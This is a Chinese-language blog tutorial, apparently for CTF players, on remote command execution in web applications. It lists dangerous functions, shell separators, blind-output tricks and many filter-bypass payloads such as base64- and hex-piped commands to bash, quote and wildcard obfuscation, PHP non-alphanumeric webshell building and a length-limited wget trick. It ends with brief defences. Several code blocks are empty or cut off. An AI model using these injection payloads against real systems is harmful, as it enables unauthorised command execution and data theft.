RCE初探

简介
RCE是Remote Command Exec或者Remote Code Exec的缩写
RCE通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。
该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。
对于CTFer,RCE的用途包括但不限于
- 直接获取flag
- 进行反弹shell从而获得进入内网的大门
RCE原理剖析
在各类编程语言中,为了方便程序处理,通常会存在各种执行外部程序的函数,当调用函数执行命令且未对输入做充分过滤时,攻击者可以通过注入一些特殊的字符,改变原本的执行意图,从而执行攻击者指定的命令,例如这样一个简单的Python语句
import os
args = input()
os.system(f"echo {args}")
该代码的正常功能是调用操作系统的echo函数对用户的输入进行回显,但是我们可以通过添加 &&,||这些条件执行运算符额外进行新的命令
常见RCE危险函数
PHP
- eval()
- assert()
- preg_replace()\create_function()
- array_map()
- call_user_func()
- call_user_func_array()
- array_filter()
- uasort()
- system()、
- exec()、
- shell_exec()、
- pcntl_exec()、
- popen()、
- proc_popen()、
- passthru()
等
Python
- system
- popen
- subprocess.call
- spawn
等
Java
java.lang.Runtime.getRuntime().exec(command)
等
RCE Tips
常见RCE命令分隔符
Windows
|
直接执行后面的语句&&
如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真&
两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假||
如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行%0a
%1a
一个神奇的角色,作为.bat文件中的命令分隔符
Linux
|
显示后面语句的执行结果&
两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假&&
如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真||
当前面的语句执行出错时,执行后面的语句;
执行完前面的语句再执行后面的语句$()
\
` `%0a
%0d
\r\n
%d0%a0
需要注意的是,条件执行具有惰性机制。也就是说,当||(or)的前一条语句执行结果为真时,后一条语句不会执行,当&&(and)的前一条语句执行结果为假时,后一条语句也不会执行
在Linux中需要注意,双引号包裹的字符串$()和``中的内容才被当作RCE,单引号包裹的字符串就是纯字符串,不会进行解析
注释
Windows的注释为::,Linux的注释为#。合理利用注释可以注释掉命令后面的内容利于RCE的利用
命令的格式
程序名 参数1 参数值1 参数2 参数值2 ...
例如
1 | ping -nc 1 www.baidu.com |
其中ping为可执行程序名,-nc为参数,1和www.baidu.com为参数值,程序名和参数值之间以空格分割。与SQL注入一样,可以注入额外的引号就行逃逸,以及在一个命令的各段有插入命令点
无回显Tips
时间盲注对于Shell_exec等无回显函数,我们可以用sleep()eg:ls;sleep(5);与SQL盲注类似用响应时间判断是否成功
HTTP通道
DNS通道
写入文件二次返回
//先将根目录复制到某个文件,然后访问查看 ls /| tee ls.txt //然后输入 url/1.txt 即可查看根目录再复制flag文件,然后访问查看 cat /flag.php | tee flag.txt //然后输入 url/falg.txt 即可查看根目录 //还可以使用其他的复制方法 copy /flag.php flag.txt mv /flag.php flag.txt
构建反弹shell
RCE Fuzz与bypass
空格Bypass
命令中间隔的字符可以不只是空格(URL编码为%20),我们可以尝试用BurpSuite对%00~%ff区间的字符串进行测试,可以发现有能用别的字符进行绕过例如%09(tab)(需要PHP环境),%0b,%0c等
使用字符串截取的方式获取空格(Windows)
%ProgramFiles:~10,1% 其中~是截止符,表示获取环境变量%ProgramFiles%的值,一般为C:\Program Files,该命令表示从第10个开始且获取一个字符串,也就是空格
环境变量(bash有效,zsh、dash无效)(Linux)
$IFS$9 or ${IFS} or ;IFS=,; IFS环境变量表示内部字段分隔符,定义了bash shell的命令建个字符,一般为空格 >注意到当只注入$IFS时需要用分隔符将环境变量部分与命令部分区分开,一般使用$9,$9表示为当前系统Shell进程的第9个参数,通常是一个空字符串
重定向符<>或者其一
{cat,flag.txt} 在大括号中逗号可起分隔作用
黑名单Bypass
- 双写绕过后端程序可能会将用户输入的关键字符号替换为空,这时候可以采用双写绕过的方式,例如会将cat字符串替换为空,则我们可以构造cacatt,这样替换为空后我们输入的字符串仍然为cat
- 编码绕过
- Base64编码将cat 1.txt编码为base64
echo “Y2F0IDEudHh0”|base64 -d|bash
其中base64 -d是base64解码的意思,用于管道符号后 - 16进制编码将cat 1.txt编码为16进制
echo “0x636174202E2F312E747874”|xxd -r -p|bash
其中xxd - r -p是转换十六进制的意思,用于管道符号后
- Base64编码将cat 1.txt编码为base64
- 拼接绕过用偶读拼接方法绕过,“${}”截取环境变量拼接,用.拼接绕过
1 | a=c;b=a;c=t; |
单引号、双引号、反引号绕过
//单双引号绕过 ca''t flag 或ca""t flag //因为单双引号中并没有字符,相当于在其中没有添加任何字符,命令意思不变
内联执行 (反引号绕过)
//若ls结果为 flag.txt cat `ls` //实际效果为cat flag.txt //若该目录下有index.php和flag.php cat `ls` //等同于cat flag.php;cat index.php
使用空变量绕过
参数不存在时其值为空
1 | ca$@t fla$@g |
转义符号绕过
ca\t //等效于cat
隐式数据转换绕过
$($__); 这个$,会被php按照callable$callback ,处理,字符串会寻找对应的函数执行,数组会调对应的类方法等(需要变量符$)
在php7中,新增了(‘phpinfo’)();执行命令的方式
数字类型可以由数字通过隐式类型转换和自增得到
([].[]) //0 +$_ //0 $_ = +!-([] . []) //1 ++$_ //2
在进行运算时,比如字符链接. 操作,会把运算对象强转字符串,我们可以通过强转操作得到部分字母,但是要构造webshell还不够,所以通过位运算和自增运算得到。php字符串是按照单字节存储的,并且可以按单字节进行位运算的,我们可以通过位运算,把非字母数字的字符,转成字母数字生成指定异或的脚本
1 |
|
简单的示例
1 | @$_++; //1 |
在处理字符变量的算数运算时,自曾操作会’a’++ => ‘b’,’b’++ => ‘c’,所以我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符
获得第一个字母的方法有
1 | //方法一 |
示例
1 |
|
- 内敛执行绕过
1 | echo `ls`; |
- 利用环境变量绕过利用环境变量来截取字母达到绕过过滤
1 | echo $PATH //结果为 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin |
- 正则表达式绕过
1 | /[a-c][h-j][m-o]/[b-d]a[s-u] flag.txt //相当于/bin/cat flag.txt |
- 利用RCE函数绕过
- 尝试其他命令
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容- 在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令{cat,flag}
- 通配符绕过shell通配符有:
- * :表示通配字符0次及以上
- ? : 表示通配字符0或
/bin/ca? //相当于cat命令
长度限制Bypass
通过>
快速创建文件,同时我们所创建的文件的文件名都是命令的一部分(\表示换行),最后使用ls -t > _
按照时间排序,把文件名拼凑为命令写入文件中,然后sh _
执行命令。例如:
1 | >wget\ |
防御
- 不使用时禁用相应函数
- 尽量不要执行外部的应用程序或命令
- 做输入的格式检查
- 转义命令中的所有shell元字符
- shell元字符包括 #&;`,|*?~<>^()[]{}$\
Reference
https://zhuanlan.zhihu.com/p/391439312
https://xz.aliyun.com/t/8354
https://blog.csdn.net/qq_41315957/article/details/118855865
https://www.cnblogs.com/pursue-security/p/15291426.html
- Title: RCE初探
- Author: 7erry
- Created at : 2023-07-02 00:00:00
- Updated at : 2023-08-11 00:00:00
- Link: http://7erry.com/2023/07/02/RCE初探/
- License: This work is licensed under CC BY-NC 4.0.